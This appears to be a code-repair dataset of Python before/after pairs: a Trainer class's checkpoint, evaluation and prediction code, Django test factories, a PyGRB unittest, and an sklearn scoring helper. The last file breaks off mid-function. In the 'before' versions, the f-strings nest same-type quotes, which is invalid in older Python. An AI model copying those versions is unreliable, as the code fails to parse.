elif self.is_world_process_zero():
self._save(output_dir)
def _save_tpu(self, output_dir: Optional[str] = None):
output_dir = output_dir if output_dir is not None else self.args.output_dir
logger.info("Saving model checkpoint to %s", output_dir)
if xm.is_master_ordinal():
os.makedirs(output_dir, exist_ok=True)
torch.save(self.args, os.path.join(output_dir, "training_args.bin"))
# Save a trained model and configuration using `save_pretrained()`.
# They can then be reloaded using `from_pretrained()`
xm.rendezvous("saving_checkpoint")
if not isinstance(self.model, PreTrainedModel):
if isinstance(unwrap_model(self.model), PreTrainedModel):
unwrap_model(self.model).save_pretrained(
output_dir,
save_config=self.is_world_process_zero(),
state_dict=self.model.state_dict(),
save_function=xm.save,
)
else:
logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.")
state_dict = self.model.state_dict()
xm.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME))
else:
self.model.save_pretrained(output_dir, save_config=self.is_world_process_zero(), save_function=xm.save)
if self.tokenizer is not None and self.is_world_process_zero():
self.tokenizer.save_pretrained(output_dir)
def _save(self, output_dir: Optional[str] = None, state_dict=None):
# If we are executing this function, we are the process zero, so we don't check for that.
output_dir = output_dir if output_dir is not None else self.args.output_dir
os.makedirs(output_dir, exist_ok=True)
logger.info("Saving model checkpoint to %s", output_dir)
# Save a trained model and configuration using `save_pretrained()`.
# They can then be reloaded using `from_pretrained()`
if not isinstance(self.model, PreTrainedModel):
if isinstance(unwrap_model(self.model), PreTrainedModel):
if state_dict is None:
state_dict = self.model.state_dict()
unwrap_model(self.model).save_pretrained(output_dir, state_dict=state_dict)
else:
logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.")
if state_dict is None:
state_dict = self.model.state_dict()
torch.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME))
else:
self.model.save_pretrained(output_dir, state_dict=state_dict)
if self.tokenizer is not None:
self.tokenizer.save_pretrained(output_dir)
# Good practice: save your training arguments together with the trained model
torch.save(self.args, os.path.join(output_dir, "training_args.bin"))
def store_flos(self):
# Storing the number of floating-point operations that went into the model
if self._total_flos is not None:
if self.args.local_rank != -1:
self.state.total_flos = distributed_broadcast_scalars([self._total_flos]).sum().item()
else:
self.state.total_flos = self._total_flos
def _sorted_checkpoints(
self, output_dir=None, checkpoint_prefix=PREFIX_CHECKPOINT_DIR, use_mtime=False
) -> List[str]:
ordering_and_checkpoint_path = []
glob_checkpoints = [str(x) for x in Path(output_dir).glob(f"{checkpoint_prefix}-*")]
for path in glob_checkpoints:
if use_mtime:
ordering_and_checkpoint_path.append((os.path.getmtime(path), path))
else:
regex_match = re.match(f".*{checkpoint_prefix}-([0-9]+)", path)
if regex_match and regex_match.groups():
ordering_and_checkpoint_path.append((int(regex_match.groups()[0]), path))
checkpoints_sorted = sorted(ordering_and_checkpoint_path)
checkpoints_sorted = [checkpoint[1] for checkpoint in checkpoints_sorted]
# Make sure we don't delete the best model.
if self.state.best_model_checkpoint is not None:
best_model_index = checkpoints_sorted.index(str(Path(self.state.best_model_checkpoint)))
checkpoints_sorted[best_model_index], checkpoints_sorted[-1] = (
checkpoints_sorted[-1],
checkpoints_sorted[best_model_index],
)
return checkpoints_sorted
def _rotate_checkpoints(self, use_mtime=False, output_dir=None) -> None:
if self.args.save_total_limit is None or self.args.save_total_limit <= 0:
return
# Check if we should delete older checkpoint(s)
checkpoints_sorted = self._sorted_checkpoints(use_mtime=use_mtime, output_dir=output_dir)
if len(checkpoints_sorted) <= self.args.save_total_limit:
return
number_of_checkpoints_to_delete = max(0, len(checkpoints_sorted) - self.args.save_total_limit)
checkpoints_to_be_deleted = checkpoints_sorted[:number_of_checkpoints_to_delete]
for checkpoint in checkpoints_to_be_deleted:
logger.info("Deleting older checkpoint [{}] due to args.save_total_limit".format(checkpoint))
shutil.rmtree(checkpoint)
def evaluate(
self,
eval_dataset: Optional[Dataset] = None,
ignore_keys: Optional[List[str]] = None,
metric_key_prefix: str = "eval",
) -> Dict[str, float]:
"""
Run evaluation and returns metrics.
The calling script will be responsible for providing a method to compute metrics, as they are task-dependent
(pass it to the init :obj:`compute_metrics` argument).
You can also subclass and override this method to inject custom behavior.
Args:
eval_dataset (:obj:`Dataset`, `optional`):
Pass a dataset if you wish to override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`,
columns not accepted by the ``model.forward()`` method are automatically removed. It must implement the
:obj:`__len__` method.
ignore_keys (:obj:`Lst[str]`, `optional`):
A list of keys in the output of your model (if it is a dictionary) that should be ignored when
gathering predictions.
metric_key_prefix (:obj:`str`, `optional`, defaults to :obj:`"eval"`):
An optional prefix to be used as the metrics key prefix. For example the metrics "bleu" will be named
"eval_bleu" if the prefix is "eval" (default)
Returns:
A dictionary containing the evaluation loss and the potential metrics computed from the predictions. The
dictionary also contains the epoch number which comes from the training state.
"""
# memory metrics - must set up as early as possible
self._memory_tracker.start()
if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
eval_dataloader = self.get_eval_dataloader(eval_dataset)
start_time = time.time()
output = self.prediction_loop(
eval_dataloader,
description="Evaluation",
# No point gathering the predictions if there are no metrics, otherwise we defer to
# self.args.prediction_loss_only
prediction_loss_only=True if self.compute_metrics is None else None,
ignore_keys=ignore_keys,
metric_key_prefix=metric_key_prefix,
)
n_samples = len(eval_dataset if eval_dataset is not None else self.eval_dataset)
output.metrics.update(speed_metrics(metric_key_prefix, start_time, n_samples))
self.log(output.metrics)
if self.args.tpu_metrics_debug or self.args.debug:
# tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)
xm.master_print(met.metrics_report())
self.control = self.callback_handler.on_evaluate(self.args, self.state, self.control, output.metrics)
self._memory_tracker.stop_and_update_metrics(output.metrics)
return output.metrics
def predict(
self, test_dataset: Dataset, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval"
) -> PredictionOutput:
"""
Run prediction and returns predictions and potential metrics.
Depending on the dataset and your use case, your test dataset may contain labels. In that case, this method
will also return metrics, like in :obj:`evaluate()`.
Args:
test_dataset (:obj:`Dataset`):
Dataset to run the predictions on. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed. Has to implement the method :obj:`__len__`
ignore_keys (:obj:`Lst[str]`, `optional`):
A list of keys in the output of your model (if it is a dictionary) that should be ignored when
gathering predictions.
metric_key_prefix (:obj:`str`, `optional`, defaults to :obj:`"eval"`):
An optional prefix to be used as the metrics key prefix. For example the metrics "bleu" will be named
"eval_bleu" if the prefix is "eval" (default)
.. note::
If your predictions or labels have different sequence length (for instance because you're doing dynamic
padding in a token classification task) the predictions will be padded (on the right) to allow for
concatenation into one array. The padding index is -100.
Returns: `NamedTuple` A namedtuple with the following keys:
- predictions (:obj:`np.ndarray`): The predictions on :obj:`test_dataset`.
- label_ids (:obj:`np.ndarray`, `optional`): The labels (if the dataset contained some).
- metrics (:obj:`Dict[str, float]`, `optional`): The potential dictionary of metrics (if the dataset
contained labels).
"""
# memory metrics - must set up as early as possible
self._memory_tracker.start()
if test_dataset is not None and not isinstance(test_dataset, collections.abc.Sized):
raise ValueError("test_dataset must implement __len__")
test_dataloader = self.get_test_dataloader(test_dataset)
start_time = time.time()
output = self.prediction_loop(
test_dataloader, description="Prediction", ignore_keys=ignore_keys, metric_key_prefix=metric_key_prefix
)
output.metrics.update(speed_metrics(metric_key_prefix, start_time, len(test_dataset)))
self._memory_tracker.stop_and_update_metrics(output.metrics)
return output
def prediction_loop(
self,
dataloader: DataLoader,
description: str,
prediction_loss_only: Optional[bool] = None,
ignore_keys: Optional[List[str]] = None,
metric_key_prefix: str = "eval",
) -> PredictionOutput:
"""
Prediction/evaluation loop, shared by :obj:`Trainer.evaluate()` and :obj:`Trainer.predict()`.
Works both with or without labels.
"""
if not isinstance(dataloader.dataset, collections.abc.Sized):
raise ValueError("dataset must implement __len__")
prediction_loss_only = (
prediction_loss_only if prediction_loss_only is not None else self.args.prediction_loss_only
)
if self.args.deepspeed and not self.args.do_train:
# no harm, but flagging to the user that deepspeed config is ignored for eval
# flagging only for when --do_train wasn't passed as only then it's redundant
logger.info("Detected the deepspeed argument but it will not be used for evaluation")
model = self._wrap_model(self.model, training=False)
# if full fp16 is wanted on eval and this ``evaluation`` or ``predict`` isn't called while
# ``train`` is running, half it first and then put on device
if not self.is_in_train and self.args.fp16_full_eval:
model = model.half().to(self.args.device)
batch_size = dataloader.batch_size
num_examples = self.num_examples(dataloader)
logger.info("***** Running %s *****", description)
logger.info(" Num examples = %d", num_examples)
logger.info(" Batch size = %d", batch_size)
losses_host: torch.Tensor = None
preds_host: Union[torch.Tensor, List[torch.Tensor]] = None
labels_host: Union[torch.Tensor, List[torch.Tensor]] = None
world_size = max(1, self.args.world_size)
eval_losses_gatherer = DistributedTensorGatherer(world_size, num_examples, make_multiple_of=batch_size)
if not prediction_loss_only:
preds_gatherer = DistributedTensorGatherer(world_size, num_examples)
labels_gatherer = DistributedTensorGatherer(world_size, num_examples)
model.eval()
if is_torch_tpu_available():
dataloader = pl.ParallelLoader(dataloader, [self.args.device]).per_device_loader(self.args.device)
if self.args.past_index >= 0:
self._past = None
self.callback_handler.eval_dataloader = dataloader
for step, inputs in enumerate(dataloader):
loss, logits, labels = self.prediction_step(model, inputs, prediction_loss_only, ignore_keys=ignore_keys)
if loss is not None:
losses = loss.repeat(batch_size)
losses_host = losses if losses_host is None else torch.cat((losses_host, losses), dim=0)
if logits is not None:
preds_host = logits if preds_host is None else nested_concat(preds_host, logits, padding_index=-100)
if labels is not None:
labels_host = labels if labels_host is None else nested_concat(labels_host, labels, padding_index=-100)
self.control = self.callback_handler.on_prediction_step(self.args, self.state, self.control)
# Gather all tensors and put them back on the CPU if we have done enough accumulation steps.
if self.args.eval_accumulation_steps is not None and (step + 1) % self.args.eval_accumulation_steps == 0:
eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses"))
if not prediction_loss_only:
preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds"))
labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids"))
# Set back to None to begin a new accumulation
losses_host, preds_host, labels_host = None, None, None
if self.args.past_index and hasattr(self, "_past"):
# Clean the state at the end of the evaluation loop
delattr(self, "_past")
# Gather all remaining tensors and put them back on the CPU
eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses"))
if not prediction_loss_only:
preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds"))
labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids"))
eval_loss = eval_losses_gatherer.finalize()
preds = preds_gatherer.finalize() if not prediction_loss_only else None
label_ids = labels_gatherer.finalize() if not prediction_loss_only else None
if self.compute_metrics is not None and preds is not None and label_ids is not None:
metrics = self.compute_metrics(EvalPrediction(predictions=preds, label_ids=label_ids))
else:
metrics = {}
# To be JSON-serializable, we need to remove numpy types or zero-d tensors
metrics = denumpify_detensorize(metrics)
if eval_loss is not None:
metrics[f"{metric_key_prefix}_loss"] = eval_loss.mean().item()
# Prefix all keys with metric_key_prefix + '_'
for key in list(metrics.keys()):
if not key.startswith(f"{metric_key_prefix}_"):
metrics[f"{metric_key_prefix}_{key}"] = metrics.pop(key)
return PredictionOutput(predictions=preds, label_ids=label_ids, metrics=metrics)
def _gather_and_numpify(self, tensors, name):
"""
Gather value of `tensors` (tensor or list/tuple of nested tensors) and convert them to numpy before
concatenating them to `gathered`
"""
if tensors is None:
return
if is_torch_tpu_available():
tensors = nested_xla_mesh_reduce(tensors, name)
elif self.args.local_rank != -1:
tensors = distributed_concat(tensors)
return nested_numpify(tensors)
def prediction_step(
self,
model: nn.Module,
inputs: Dict[str, Union[torch.Tensor, Any]],
prediction_loss_only: bool,
ignore_keys: Optional[List[str]] = None,
) -> Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]:
"""
Perform an evaluation step on :obj:`model` using obj:`inputs`.
Subclass and override to inject custom behavior.
Args:
model (:obj:`nn.Module`):
The model to evaluate.
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
The dictionary will be unpacked before being fed to the model. Most models expect the targets under the
argument :obj:`labels`. Check your model's documentation for all accepted arguments.
prediction_loss_only (:obj:`bool`):
Whether or not to return the loss only.
ignore_keys (:obj:`Lst[str]`, `optional`):
A list of keys in the output of your model (if it is a dictionary) that should be ignored when
gathering predictions.
Return:
Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]: A tuple with the loss, logits and
labels (each being optional).
"""
has_labels = all(inputs.get(k) is not None for k in self.label_names)
inputs = self._prepare_inputs(inputs)
if ignore_keys is None:
if hasattr(self.model, "config"):
ignore_keys = getattr(self.model.config, "keys_to_ignore_at_inference", [])
else:
ignore_keys = []
# labels may be popped when computing the loss (label smoothing for instance) so we grab them first.
if has_labels:
labels = nested_detach(tuple(inputs.get(name) for name in self.label_names))
if len(labels) == 1:
labels = labels[0]
else:
labels = None
with torch.no_grad():
if has_labels:
loss, outputs = self.compute_loss(model, inputs, return_outputs=True)
loss = loss.mean().detach()
if isinstance(outputs, dict):
logits = tuple(v for k, v in outputs.items() if k not in ignore_keys + ["loss"])
else:
logits = outputs[1:]
else:
loss = None
if self.use_amp:
with autocast():
outputs = model(**inputs)
else:
outputs = model(**inputs)
if isinstance(outputs, dict):
logits = tuple(v for k, v in outputs.items() if k not in ignore_keys)
else:
logits = outputs
# TODO: this needs to be fixed and made cleaner later.
if self.args.past_index >= 0:
self._past = outputs[self.args.past_index - 1]
if prediction_loss_only:
return (loss, None, None)
logits = nested_detach(logits)
if len(logits) == 1:
logits = logits[0]
return (loss, logits, labels)
def floating_point_ops(self, inputs: Dict[str, Union[torch.Tensor, Any]]):
"""
For models that inherit from :class:`~transformers.PreTrainedModel`, uses that method to compute the number of
floating point operations for every backward + forward pass. If using another model, either implement such a
method in the model or subclass and override this method.
Args:
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
Returns:
:obj:`int`: The number of floating-point operations.
"""
if hasattr(self.model, "floating_point_ops"):
return self.model.floating_point_ops(inputs)
else:
return 0
|
from datetime import datetime
import factory
from chemreg.common.factory import ControlledVocabularyFactory, DjangoSerializerFactory
from chemreg.lists.serializers import (
AccessibilityTypeSerializer,
ExternalContactSerializer,
IdentifierTypeSerializer,
ListSerializer,
ListTypeSerializer,
RecordIdentifierSerializer,
RecordSerializer,
)
from chemreg.substance.tests.factories import SubstanceFactory
class AccessibilityTypeFactory(DjangoSerializerFactory, ControlledVocabularyFactory):
"""Manufactures `AccessibilityType` models and serializers."""
class Meta:
model = AccessibilityTypeSerializer
class ExternalContactFactory(DjangoSerializerFactory):
"""Manufactures `ExternalContact` models and serializers."""
name = factory.Faker("text", max_nb_chars=49)
email = factory.Faker("text", max_nb_chars=49)
phone = factory.Faker("text", max_nb_chars=15)
class Meta:
model = ExternalContactSerializer
class IdentifierTypeFactory(DjangoSerializerFactory, ControlledVocabularyFactory):
"""Manufactures `IdentifierType` models."""
class Meta:
model = IdentifierTypeSerializer
class ListTypeFactory(DjangoSerializerFactory, ControlledVocabularyFactory):
"""Manufactures `ListType` models and serializers."""
class Meta:
model = ListTypeSerializer
class ListFactory(DjangoSerializerFactory):
"""Manufactures `List` models and serializers."""
name = factory.Sequence(lambda n: f"{factory.Faker("slug").generate()}-{n}")
label = factory.Faker("text", max_nb_chars=255)
short_description = factory.Faker("sentence")
long_description = factory.Faker("sentence")
source_url = factory.Faker("text", max_nb_chars=500)
source_reference = factory.Faker("text", max_nb_chars=500)
source_doi = factory.Faker("text", max_nb_chars=500)
date_of_source_collection = datetime.now()
# Related Factories
list_accessibility = factory.SubFactory(AccessibilityTypeFactory)
external_contact = factory.SubFactory(ExternalContactFactory)
class Meta:
model = ListSerializer
@factory.post_generation
def owners(self, create, extracted, **kwargs):
if not create:
return
if extracted:
self.owners.add(extracted)
@factory.post_generation
def types(self, create, extracted, **kwargs):
if not create:
return
if extracted:
self.types.add(extracted)
class RecordFactory(DjangoSerializerFactory):
"""Manufactures `Record` models and serializers."""
external_id = factory.Sequence(lambda n: n)
score = factory.Faker("pyfloat")
message = factory.Faker("text", max_nb_chars=500)
is_validated = factory.Faker("pybool")
# Related Factories
list = factory.SubFactory(ListFactory)
substance = factory.SubFactory(SubstanceFactory)
class Meta:
model = RecordSerializer
class RecordIdentifierFactory(DjangoSerializerFactory):
"""Manufactures `RecordIdentifier` models and serializers."""
identifier = factory.Faker("text")
identifier_label = factory.Faker("text", max_nb_chars=100)
# Related Factories
record = factory.SubFactory(RecordFactory)
identifier_type = factory.SubFactory(IdentifierTypeFactory)
class Meta:
model = RecordIdentifierSerializer
| from datetime import datetime
import factory
from chemreg.common.factory import ControlledVocabularyFactory, DjangoSerializerFactory
from chemreg.lists.serializers import (
AccessibilityTypeSerializer,
ExternalContactSerializer,
IdentifierTypeSerializer,
ListSerializer,
ListTypeSerializer,
RecordIdentifierSerializer,
RecordSerializer,
)
from chemreg.substance.tests.factories import SubstanceFactory
class AccessibilityTypeFactory(DjangoSerializerFactory, ControlledVocabularyFactory):
"""Manufactures `AccessibilityType` models and serializers."""
class Meta:
model = AccessibilityTypeSerializer
class ExternalContactFactory(DjangoSerializerFactory):
"""Manufactures `ExternalContact` models and serializers."""
name = factory.Faker("text", max_nb_chars=49)
email = factory.Faker("text", max_nb_chars=49)
phone = factory.Faker("text", max_nb_chars=15)
class Meta:
model = ExternalContactSerializer
class IdentifierTypeFactory(DjangoSerializerFactory, ControlledVocabularyFactory):
"""Manufactures `IdentifierType` models."""
class Meta:
model = IdentifierTypeSerializer
class ListTypeFactory(DjangoSerializerFactory, ControlledVocabularyFactory):
"""Manufactures `ListType` models and serializers."""
class Meta:
model = ListTypeSerializer
class ListFactory(DjangoSerializerFactory):
"""Manufactures `List` models and serializers."""
name = factory.Sequence(lambda n: f"{factory.Faker('slug').generate()}-{n}")
label = factory.Faker("text", max_nb_chars=255)
short_description = factory.Faker("sentence")
long_description = factory.Faker("sentence")
source_url = factory.Faker("text", max_nb_chars=500)
source_reference = factory.Faker("text", max_nb_chars=500)
source_doi = factory.Faker("text", max_nb_chars=500)
date_of_source_collection = datetime.now()
# Related Factories
list_accessibility = factory.SubFactory(AccessibilityTypeFactory)
external_contact = factory.SubFactory(ExternalContactFactory)
class Meta:
model = ListSerializer
@factory.post_generation
def owners(self, create, extracted, **kwargs):
if not create:
return
if extracted:
self.owners.add(extracted)
@factory.post_generation
def types(self, create, extracted, **kwargs):
if not create:
return
if extracted:
self.types.add(extracted)
class RecordFactory(DjangoSerializerFactory):
"""Manufactures `Record` models and serializers."""
external_id = factory.Sequence(lambda n: n)
score = factory.Faker("pyfloat")
message = factory.Faker("text", max_nb_chars=500)
is_validated = factory.Faker("pybool")
# Related Factories
list = factory.SubFactory(ListFactory)
substance = factory.SubFactory(SubstanceFactory)
class Meta:
model = RecordSerializer
class RecordIdentifierFactory(DjangoSerializerFactory):
"""Manufactures `RecordIdentifier` models and serializers."""
identifier = factory.Faker("text")
identifier_label = factory.Faker("text", max_nb_chars=100)
# Related Factories
record = factory.SubFactory(RecordFactory)
identifier_type = factory.SubFactory(IdentifierTypeFactory)
class Meta:
model = RecordIdentifierSerializer
|
import os
import unittest
from PyGRB.preprocess.GRB_class import BATSEGRB
class TestBATSEGRB(unittest.TestCase):
def setUp(self):
self.burst = 3770
self.datatype = 'tte_list'
def tearDown(self):
del self.burst
del self.datatype
def test_burst_assignment_tte_list(self):
burst = 3770
datatype = 'tte_list'
_path = 'data/BATSE/TTE_list_data/'
path = f'{_path}channel_{1}_d01234567_{'bins'}.npy'
if os.path.exists(path):
delete = False
else:
delete = True
test = BATSEGRB(burst, datatype = datatype)
assert(os.path.exists(path))
if delete:
for c in range(1,5):
for q in ["bins", "diff", "counts"]:
path = f'{_path}channel_{c}_d01234567_{q}.npy'
os.remove(path)
if __name__ == '__main__':
unittest.main()
| import os
import unittest
from PyGRB.preprocess.GRB_class import BATSEGRB
class TestBATSEGRB(unittest.TestCase):
def setUp(self):
self.burst = 3770
self.datatype = 'tte_list'
def tearDown(self):
del self.burst
del self.datatype
def test_burst_assignment_tte_list(self):
burst = 3770
datatype = 'tte_list'
_path = 'data/BATSE/TTE_list_data/'
path = f'{_path}channel_{1}_d01234567_{"bins"}.npy'
if os.path.exists(path):
delete = False
else:
delete = True
test = BATSEGRB(burst, datatype = datatype)
assert(os.path.exists(path))
if delete:
for c in range(1,5):
for q in ["bins", "diff", "counts"]:
path = f'{_path}channel_{c}_d01234567_{q}.npy'
os.remove(path)
if __name__ == '__main__':
unittest.main()
|
from sklearn.metrics import make_scorer
from sklearn.metrics import accuracy_score
from sklearn.metrics import precision_score
from sklearn.metrics import recall_score
from sklearn.metrics import f1_score,precision_recall_fscore_support
from sklearn.metrics import confusion_matrix
from sklearn.model_selection import cross_validate
import pickle
import numpy as np
import pandas as pd
#def tn(y_true, y_pred): return confusion_matrix(y_true, y_pred)[0, 0]
#def fp(y_true, y_pred): return confusion_matrix(y_true, y_pred)[0, 1]
#def fn(y_true, y_pred): return confusion_matrix(y_true, y_pred)[1, 0]
#def tp(y_true, y_pred): return confusion_matrix(y_true, y_pred)[1, 1]
tn = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[0, 0]
fp = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[0, 1]
fn = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[1, 0]
tp = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[1, 1]
score_metrics = {'accuracy': accuracy_score,
'precision': precision_score,
'recall': recall_score,
'f1-score': f1_score,
#'p_r_f1_sup': precision_recall_fscore_support,
'tp': tp, 'tn': tn,
'fp': fp, 'fn': fn}
def report(clf, train_name, x_train, y_train, label, name='classifier', cv=5, dict_scoring=None, fit_params=None, save=False):
'''
Function create a metric report automatically with cross_validate function.
@param clf: (model) classifier
@param x: (list or matrix or tensor) training x data
@param y: (list) label data
@param name: (string) name of the model (default classifier)
@param cv: (int) number of fold for cross-validation (default 5)
@param dict_scoring: (dict) dictionary of metrics and names
@param fit_aparams: (dict) add parameters for model fitting
@param save: (bool) determine if the model need to be saved
@return: (pandas.dataframe) dataframe containing all the results of the metrics
for each fold and the mean and std for each of them
'''
if dict_scoring!=None:
score = dict_scoring.copy() # save the original dictionary
for i in score.keys():
if len(set(y_train))>2:
if i in ["precision", "recall", "f1-score"]:
score[i] = make_scorer(score[i], average = 'weighted') # make each function scorer
elif i=="roc_auc":
score[i] = make_scorer(score[i], average = 'weighted', multi_class="ovo",needs_proba=True) # make each function scorer
else:
score[i] = make_scorer(score[i]) # make each function scorer
elif i in ['precision', 'recall', 'f1-score'] :
score[i] = make_scorer(score[i], pos_label=label) # make each function scorer
else:
score[i] = make_scorer(score[i])
try:
scores = cross_validate(clf, x_train, y_train, scoring=score,
cv=cv, return_train_score=True, n_jobs=-1, fit_params=fit_params)
except:
scores = cross_validate(clf, x_train, y_train, scoring=score,
cv=cv, return_train_score=True, fit_params=fit_params)
#print(scores)
# Train test on the overall data
model = clf
model.fit(x_train, y_train)
#features = model[:-1].get_feature_names_out()
#print(f'{label}: ', file=open("output.txt", "a"))
#for i in features:
# print(f'{i}', file=open("output.txt", "a"))
#y_pred = model.predict(X_test)#>0.5).astype(int)
if save:
filename= name+label+".sav"
pickle.dump(model, open('results/models/'+filename, 'wb'))
#csvFileName = f"{label.lower().replace(" ", "_")}.csv"
#with open('results/scoreboards/' + csvFileName, 'r') as csvfile:
# rownum = len(csvfile.readlines())
# initialisation
res = {'PipelineID' : label,
'Pipeline' : name ,
'train_set' : train_name}
for i in scores: # loop on each metric generate text and values
if i == "estimator": continue
for j in enumerate(scores[i]):
res[i+"_cv"+str(j[0]+1)] = j[1]
res[i+"_mean"] = np.mean(scores[i])
# add metrics averall dataset on the dictionary
#print(scores)
#print(score)
del scores['fit_time']
del scores['score_time']
#for i in scores: # compute metrics
# scores[i] = np.append(scores[i] ,score[i.split("test_")[-1]](model, X_test, y_test))
# res[i.split("test_")[-1]+'_overall'] = scores[i][-1]
return pd.DataFrame(data=res.values(), index=res.keys()).T, model | from sklearn.metrics import make_scorer
from sklearn.metrics import accuracy_score
from sklearn.metrics import precision_score
from sklearn.metrics import recall_score
from sklearn.metrics import f1_score,precision_recall_fscore_support
from sklearn.metrics import confusion_matrix
from sklearn.model_selection import cross_validate
import pickle
import numpy as np
import pandas as pd
#def tn(y_true, y_pred): return confusion_matrix(y_true, y_pred)[0, 0]
#def fp(y_true, y_pred): return confusion_matrix(y_true, y_pred)[0, 1]
#def fn(y_true, y_pred): return confusion_matrix(y_true, y_pred)[1, 0]
#def tp(y_true, y_pred): return confusion_matrix(y_true, y_pred)[1, 1]
tn = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[0, 0]
fp = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[0, 1]
fn = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[1, 0]
tp = lambda y_true, y_pred: confusion_matrix(y_true, y_pred)[1, 1]
score_metrics = {'accuracy': accuracy_score,
'precision': precision_score,
'recall': recall_score,
'f1-score': f1_score,
#'p_r_f1_sup': precision_recall_fscore_support,
'tp': tp, 'tn': tn,
'fp': fp, 'fn': fn}
def report(clf, train_name, x_train, y_train, label, name='classifier', cv=5, dict_scoring=None, fit_params=None, save=False):
'''
Function create a metric report automatically with cross_validate function.
@param clf: (model) classifier
@param x: (list or matrix or tensor) training x data
@param y: (list) label data
@param name: (string) name of the model (default classifier)
@param cv: (int) number of fold for cross-validation (default 5)
@param dict_scoring: (dict) dictionary of metrics and names
@param fit_aparams: (dict) add parameters for model fitting
@param save: (bool) determine if the model need to be saved
@return: (pandas.dataframe) dataframe containing all the results of the metrics
for each fold and the mean and std for each of them
'''
if dict_scoring!=None:
score = dict_scoring.copy() # save the original dictionary
for i in score.keys():
if len(set(y_train))>2:
if i in ["precision", "recall", "f1-score"]:
score[i] = make_scorer(score[i], average = 'weighted') # make each function scorer
elif i=="roc_auc":
score[i] = make_scorer(score[i], average = 'weighted', multi_class="ovo",needs_proba=True) # make each function scorer
else:
score[i] = make_scorer(score[i]) # make each function scorer
elif i in ['precision', 'recall', 'f1-score'] :
score[i] = make_scorer(score[i], pos_label=label) # make each function scorer
else:
score[i] = make_scorer(score[i])
try:
scores = cross_validate(clf, x_train, y_train, scoring=score,
cv=cv, return_train_score=True, n_jobs=-1, fit_params=fit_params)
except:
scores = cross_validate(clf, x_train, y_train, scoring=score,
cv=cv, return_train_score=True, fit_params=fit_params)
#print(scores)
# Train test on the overall data
model = clf
model.fit(x_train, y_train)
#features = model[:-1].get_feature_names_out()
#print(f'{label}: ', file=open("output.txt", "a"))
#for i in features:
# print(f'{i}', file=open("output.txt", "a"))
#y_pred = model.predict(X_test)#>0.5).astype(int)
if save:
filename= name+label+".sav"
pickle.dump(model, open('results/models/'+filename, 'wb'))
#csvFileName = f"{label.lower().replace(' ', '_')}.csv"
#with open('results/scoreboards/' + csvFileName, 'r') as csvfile:
# rownum = len(csvfile.readlines())
# initialisation
res = {'PipelineID' : label,
'Pipeline' : name ,
'train_set' : train_name}
for i in scores: # loop on each metric generate text and values
if i == "estimator": continue
for j in enumerate(scores[i]):
res[i+"_cv"+str(j[0]+1)] = j[1]
res[i+"_mean"] = np.mean(scores[i])
# add metrics averall dataset on the dictionary
#print(scores)
#print(score)
del scores['fit_time']
del scores['score_time']
#for i in scores: # compute metrics
# scores[i] = np.append(scores[i] ,score[i.split("test_")[-1]](model, X_test, y_test))
# res[i.split("test_")[-1]+'_overall'] = scores[i][-1]
return pd.DataFrame(data=res.values(), index=res.keys()).T, model |
import argparse
import json
import logging
import os
import pprint
from collections import Counter, defaultdict, namedtuple
from dataclasses import dataclass
from itertools import chain
from typing import Any, Callable, Dict, List, Set, Tuple
import numpy as np
import torch
from scipy.stats import entropy
from sklearn.metrics import accuracy_score, auc, average_precision_score, classification_report, precision_recall_curve, roc_auc_score
from rationale_benchmark.utils import (
Annotation,
Evidence,
annotations_from_jsonl,
load_jsonl,
load_documents,
load_flattened_documents
)
logging.basicConfig(level=logging.DEBUG, format='%(relativeCreated)6d %(threadName)s %(message)s')
# start_token is inclusive, end_token is exclusive
@dataclass(eq=True, frozen=True)
class Rationale:
ann_id: str
docid: str
start_token: int
end_token: int
def to_token_level(self) -> List['Rationale']:
ret = []
for t in range(self.start_token, self.end_token):
ret.append(Rationale(self.ann_id, self.docid, t, t+1))
return ret
@classmethod
def from_annotation(cls, ann: Annotation) -> List['Rationale']:
ret = []
for ev_group in ann.evidences:
for ev in ev_group:
ret.append(Rationale(ann.annotation_id, ev.docid, ev.start_token, ev.end_token))
return ret
@classmethod
def from_instance(cls, inst: dict) -> List['Rationale']:
ret = []
for rat in inst['rationales']:
for pred in rat.get('hard_rationale_predictions', []):
ret.append(Rationale(inst['annotation_id'], rat['docid'], pred['start_token'], pred['end_token']))
return ret
@dataclass(eq=True, frozen=True)
class PositionScoredDocument:
ann_id: str
docid: str
scores: Tuple[float]
truths: Tuple[bool]
@classmethod
def from_results(cls, instances: List[dict], annotations: List[Annotation], docs: Dict[str, List[Any]], use_tokens: bool=True) -> List['PositionScoredDocument']:
"""Creates a paired list of annotation ids/docids/predictions/truth values"""
key_to_annotation = dict()
for ann in annotations:
for ev in chain.from_iterable(ann.evidences):
key = (ann.annotation_id, ev.docid)
if key not in key_to_annotation:
key_to_annotation[key] = [False for _ in docs[ev.docid]]
if use_tokens:
start, end = ev.start_token, ev.end_token
else:
start, end = ev.start_sentence, ev.end_sentence
for t in range(start, end):
key_to_annotation[key][t] = True
ret = []
